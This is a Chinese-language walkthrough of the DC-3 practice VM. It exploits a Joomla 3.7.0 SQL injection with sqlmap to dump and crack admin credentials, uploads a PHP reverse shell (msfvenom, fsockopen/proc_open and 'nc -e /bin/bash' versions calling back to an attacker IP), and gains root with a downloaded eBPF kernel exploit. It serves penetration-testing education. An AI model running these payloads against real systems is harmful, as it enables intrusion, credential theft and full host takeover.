一. 信息收集
1.查看网段
vm 编辑--查看虚拟网络编辑器,看到靶机的网段
网段是: 192.168.83.0
是c段网络
2.扫描网段找到相应的ip
这是扫描c段网络的nmap操作
nmap -sP 192.168.83.1/24
3.扫描端口
端口和服务是对应关系的根据计算机网络的应用层协议
nmap -p 1-65535 -A 192.168.83.148
发现80端口打开
访问网页用火狐的wapplayzer扩展查看页面的结构
看到了内容管理系统(joomla)
4.目录扫描
dirsearch -u 192.168.83.148 -e * -i 200
看到了一些有用的信息有登录的目录
二. 漏洞找查
1. joomscan扫描joomla
joomscan是一款开源的且针对joomla的扫描器,kali可以用命令
apt install joomscan //安装该工具的命令
joomscan -u 192.168.83.148 //扫描页面
看到了joomla的版本和登录管理员的地址
http://192.168.83.148/administrator/
访问一下
2. searchsploit寻找漏洞
searchsploit工具简介:
searchsploit是一款kali自带的搜索漏洞信息的模块
根据joomscan扫描到的joomla的版本来搜集漏洞
searchsploit joomla 3.7.0
发现了存在sql注入的漏洞
searchsploit -p 42033 //查看漏洞存在文件的位置
/usr/share/exploitdb/exploits/php/webapps/42033.txt
查看漏洞文件发现注入的方法
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
三. 漏洞利用
1. SQL注入
利用sqlmap进行自动化注入
根据文件给出的操作方法修改参数
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
将localhost修改为靶机的ip地址
a.列出所有数据库
sqlmap -u "http://192.168.83.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
b.查看存在的表
sqlmap -u "http://192.168.83.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables
c.查看#_users的字段
sqlmap -u "http://192.168.83.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' --columns
d.查看管理员的账号和密码
sqlmap -u "http://192.168.83.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump
看到了管理员的名字和密码
看到了账号和密码但是密码被加密了
2. 密码爆破
将加密密码保存到kali的一个文件中我放到了1.txt文件中
利用John(john 设置为使用特定的哈希格式进行破解,有多种方法可以做到对哈希类型进行识别)工具,对该密码进行爆破拆解
john --show 1.txt
密码:snoopy
用户名:admin
登录web页面后,页面扩展发现可以上传文件
3.反弹shell
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.83.136 lport=7777 -o shell.php
生成php反弹shell脚本
Lhost是攻击机,lport是服务端口
或
<?php
$ip = "主机ip地址";
$port = "主机端口";
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>
或
<?php
exec("nc -e /bin/bash 主机IP 主机端口");
?>
生成反弹shell的文件查看代码
在上传php代码的地方上传然后访问该网页
http://192.168.83.148/templates/beez3/shell.php
反弹shell成功
nc -lvvp 7777
4. Get交互shell
用一句python指令进入交互式控制
python -c 'import pty;pty.spawn("/bin/sh")'
交互shell获取成功,但是还不是root权限
四. Linux提权
1. 确定操作系统信息
查看Linux当前操作系统版本信息常用命令 ,以寻找提权漏洞突破口
tac /etc/issue
Ubuntu 16.04 LTS \n \l
cat /proc/version
Linux version 4.4.0-21-generic (buildd@lgw01-06) (gcc version 5.3.1 20160413 (Ubuntu 5.3.1-14ubuntu2) ) #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016
2. 搜索操作系统漏洞
继续使用searchsploit工具搜索漏洞 ,打开另一个终端
searchsploit Ubuntu 16.04
searchsploit简介
漏洞查找工具,可以通过操作系统或cms的版本号搜索到相应漏洞,通过查看说明即可找到漏洞利用方法
Privilege Escalation(提权),这里我们使用通用4.4.x版本的提权方式,完整path
这个文件路径记一下比较好
/usr/share/exploitdb/exploits/linux/local/39772.txt
可以先pwd查看当前文件夹位置
利用cp命令拷贝到桌面
cp /usr/share/exploitdb/exploits/linux/local/39772.txt /home/kali/Desktop/39772.txt
cat 39772.txt
查看文件内容发现攻击文件的镜像地址
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
下载该文件
3. 利用exp提权
接着我们下载该压缩包并放到kali桌面里,解压该文件,然后在桌面开启http服务,将下载好的文件导入到DC-3靶机里
开启访问服务
python3 -m http.server 7777
http://192.168.83.136:7777/39772/39772/
可以看到攻击的压缩包
接着我们在控制靶机的终端下载该文件
wget http://192.168.83.136:7777/39772/39772/exploit.tar
下载了漏洞文件,然后解压它
tar -xvf exploit.tar
接着cd进入解压后的文件夹
cd ebpf_mapfd_doubleput_exploit
执行下两个文件,Linux系统下.(点)是执行某个文件的意思
./compile.sh
./doubleput
拿到权限了
cd /
ls
看到了flag查看文件